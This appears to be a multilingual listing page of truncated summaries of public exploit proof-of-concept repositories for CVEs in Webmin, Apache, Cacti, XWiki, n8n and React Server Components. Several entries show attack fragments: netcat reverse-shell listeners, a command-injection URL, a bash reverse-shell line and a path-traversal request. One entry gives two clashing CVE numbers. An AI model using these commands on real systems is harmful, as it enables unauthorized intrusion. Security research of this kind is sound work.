CVE-2022-1329

WP Elementor 3.6.0/1/2 远程代码执行 root@kitploit: Google Dork: 无 日期: 2022年4月16日 漏洞作者: AkuCyberSec https://github.com/AkuCyberSec 厂商主页: https://elementor.com/ 软件链接: https://wordpress.org/plugins/elementor/advanced/ 向下滚动以选择版本 版本: 3.6.0, 3.6.1, 3.62 测试环境: WordPress 5.9.3 操作系统无关，因为此漏洞不提供载荷 CVE:...

n8n-Authenticated-Expression-Injection-RCE-CVE-2025-68613

n8n Inyección de Expresiones Autenticada RCE – CVE-2025-68613 Ejecución Remota de Código Crítica CVSS 9.9 en la Herramienta de Automatización de Flujos de Trabajo n8n Prueba de Concepto – Solo para fines educativos e investigación de seguridad autorizada ⚠️ Advertencia Legal Importante Este código...

MAL-008

MAL-008: SSHtranger Things CVE-2019-6111, CVE-2019-6110 in Cisco SD-WAN Cisco SD-WAN v20.4.2.1 使用旧版本的 SSH（OpenSSH7.6p1），该版本容易受到“SSHtranger Things”攻击。如果受害者尝试连接到恶意/被入侵的 SSH 服务器，此攻击可能被用来写入/覆盖敏感文件。 通过覆盖敏感脚本文件（例如“.bashrc”），这可能允许未经认证的攻击者在受害者系统上获得远程代码执行（RCE）能力。 厂商披露： 该漏洞的厂商披露和修复方案可在此处找到。 前提条件： 该漏洞需要： 成功...

windows-kernel-exploits

windows-kernel-exploits 简介 windows-kernel-exploits 漏洞列表 Security Bulletin KB Description Operating System CVE-2021-33739 Microsoft DWM Core Library Elevation of Privilege Vulnerability Windows 10, 20 CVE-2021-1732 Windows Win32k Elevation of Privilege Vulnerability Windows 10, 2019/20H2...

bassmaster-rce

bassmaster-rce 通过注入任意 JavaScript 来利用 CVE-2014-7205，从而实现远程代码执行（Remote Code Execution）。 我偶然发现了 LuuPhu 的这篇文章（用越南语撰写）。既然我写过一些 NodeJS 代码，却从未尝试过对其进行漏洞利用，我想何不今天就试试呢？ Python PoC 包含两种反弹 Shell： 1. 一个简单的 NC 反弹 Shell 2. 一个"简单"的 NodeJS 反弹 Shell，取自 Riyaz Walikar 的 ibreak.software 免责声明 为求内容完整：...

CVE-2019-5624

CVE-2019-5624 Metasploit 的 CVE-2019-5624 漏洞的概念验证 Rubyzip 不安全的 ZIP 处理导致远程代码执行 介绍 2019年2月，我在 Rubyzip 库中发现了一个新漏洞。它允许攻击者利用不安全的 ZIP 处理（Zip Slip）导致远程命令执行。 该漏洞被用于攻击所有低于5.0.18版本的Metasploit（见Metasploit Wrap-Up） 我写了一篇详细的博客文章解释了该漏洞。 概念验证 POC 创建包含以下内容的文件： root@kitploit: root /bin/bash -c "exec /bin/bash0&0 2...

cacti-cve-2022-46169-exploit

CVE-2022-46169 PoC：认证绕过与远程代码执行 本仓库包含 CVE-2022-46169 漏洞的 PoC，该漏洞允许攻击者绕过认证并在受影响系统上远程执行任意代码。此漏洞影响 2022 年 8 月 18 日发布的 Cacti 版本 1.2.22。 该漏洞的产生原因是 remoteagent.php 中有一个用于检索 IP 地址并验证 poller 表中条目的函数。如果找到条目，函数将返回 true，客户端即被授权。其中一个名为 polldata 的操作会检索几个请求参数，如果 polleritem 的 action 等于...

PoC-CVE-2025-55182

PoC：CVE-2026-33017 React Server Components 版本 19.0.0、19.1.0、19.1.1 和 19.2.0 存在一个预认证远程代码执行漏洞，涉及以下软件包：react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack。存在漏洞的代码会不安全地反序列化发送至 Server Function 端点的 HTTP 请求中的载荷。 https://nvd.nist.gov/vuln/detail/CVE-2025-55182 用法 root@kitploit:...

exim-rce-cve-2018-6789

Exim RCE CVE-2018-6789 学习环境 描述 这是一套文件、脚本、笔记等，用于搭建环境以研究 Exim RCE CVE-2018-6789。可用于调试 Exim、编写漏洞利用代码、追踪 Exim 函数调用、了解 Exim 自定义内存管理（storeblocks）、理解真实世界漏洞利用的工作原理等。 仅应用于学术目的！ 要求 Vagrant 配合 libvirt/KVM（vagrant-libvirt 插件） Docker（仅当你决定在宿主机上运行 Docker 而非在 Vagrant 虚拟机内时） 设置 通过执行以下命令下载 Exim 的源代码： root@kitploi...

CVE-2020-13756-env

CVE-2020-13756 漏洞环境 针对 CVE-2020-13756 的易受攻击测试环境 - Sabberworm PHP CSS 解析器远程代码执行。 漏洞详情...

Webmin-1.580---file-show.cgi-Manual-Remote-Command-Execution-Non-Metasploit-

Webmin 1.580 RCE 执行指南 关于通过 /file/show.cgi 组件在 Webmin 1.580 上执行经过身份验证的远程代码执行 RCE 的快速参考。 1. 攻击机（监听器） 在本地机器上运行此命令以在执行负载之前捕获传入的连接： root@kitploit: rlwrap nc -lnvp 4444 2. 目标利用载荷 将以下 URL 直接粘贴到浏览器的地址栏中（确保您已先登录 Webmin 仪表盘）： root@kitploit: http://127.0.0.1:10001/file/show.cgi/bin/sysinfo.cgi|rm...

CVE-2025-10230

CVE-2025-10230: Samba RCE Crítico CVSS 10.0 Resumen de la Vulnerabilidad La CVE-2025-10230 es una vulnerabilidad crítica de ejecución remota de código RCE que permaneció oculta en el código base de Samba durante 13 años. La falla reside en el manejo de paquetes de registro WINS Windows Internet...

CVE-2021-31630

CVE-2021-31630 OpenPLC 3 Web服务器认证远程代码执行。 描述 Open PLC Web服务器 v3 中存在命令注入漏洞，使远程攻击者能够执行任意代码。仅在 HTB Wifinetictwo.htb 机器上测试过。 我发现所有利用该漏洞的脚本都有问题，可能是因为我使用的是 Parrot 或我的浏览器，Chromium 可以用来登录，我在 Firefox 上遇到了登录问题，并且 Web 服务器在处理登录的 POST 请求时出现了一些奇怪的现象。 我修改了 thewhiteh4t 的脚本，其中部分代码（主要是上传方法）是直接复制的，但我修改了从服务器获取 Cookie...

react2shell

React2Shell Una herramienta CLI para explotar vulnerabilidades de contaminación de prototipos en Componentes de Servidor React / Acciones de Servidor CVE-2025-55182 y CVE-2025-66478, permitiendo la ejecución remota de código RCE en servidores vulnerables. PoC original :...

PHP-CGI-INTERNAL-RCE

PHP-CGI-INTERNAL-RCE 此 PoC 演示了攻击者如何将 Orange Tsai 的 CVE-2024-4577 与 DNS 重绑定链式结合，通过受害者的网页浏览器直接对内部网络基础设施实现远程代码执行。通过绕过 同源策略（SOP） 并利用运行在 本地 XAMPP 服务器、内部开发环境或企业网络上的易受攻击的 PHP-CGI 实例，该攻击能够在原本不应暴露于互联网的系统上实现完整的代码执行。 BLOG...

CVE-2021-41773

CVE-2021-41773 测试场 这是一个小型 Docker 配置，用于在基于 Debian bookworm 的容器中搭建一个运行 Apache HTTPd 2.4.49 的实例，该版本存在 CVE-2021-41773 漏洞。 已显式启用 CGI，因此可用于测试/验证本地文件泄露行为以及远程命令执行行为。 用法 root@kitploit: $ docker-compose build && docker-compose-up 本地文件泄露 root@kitploit: $ curl -s --path-as-is...

CVE-2025-55182

RSC Detector - React Server Components 漏洞扫描器 一个基于 Python 的安全扫描器，用于检测和利用 Next.js 应用中的 React Server Components RSC 漏洞。该工具支持被动检测、主动指纹识别和 RCE 漏洞利用测试。 ⚠️ 警告 ：本工具仅用于授权的安全测试 。未经授权访问计算机系统是非法的。在进行测试前，请务必获得书面许可。 功能特性 ✅ 被动检测 - 分析 HTML、响应头和页面结构中的 RSC 指标 ✅ 主动指纹识别 - 发送 RSC 特定头部以检测服务器响应 ✅ HTTP 头部分析 - 识别...

CVE-2025-24893

CVE-2025-24893 XWiki Platform 中 RCE 漏洞的 Bash POC 脚本 使用示例： 设置 netcat 监听器： root@kitploit: $ nc -nvlp 然后运行脚本： root@kitploit: $ chmod +x cve.sh $ ./cve.sh 受影响版本： 从 5.4 到 15.10.11 从 16.0.0 到 16.4.1 免责声明 此工具仅用于教育目的。我对任何滥用行为不承担责任。...

CVE-2021-41773

CVE-2021-41773 一个简单的bash POC脚本，用于Apache 2.4.49中的路径遍历和远程代码执行漏洞 使用示例： 设置一个netcat监听器： root@kitploit: $ nc -nvlp 然后运行脚本： root@kitploit: $ ./exploit.sh 免责声明 此工具仅用于教育目的。我对任何滥用行为不承担责任。...

CrafterCMS-CVE-2025-6384

CrafterCMS Autenticado RCE - Bypass de Sandbox de Groovy CVE-2025-6384 Una Prueba de Concepto para una vulnerabilidad de Ejecución Remota de Código autenticada en CrafterCMS. Resumen de la Vulnerabilidad Un usuario autenticado con privilegios de desarrollador puede eludir el sandbox de scripts...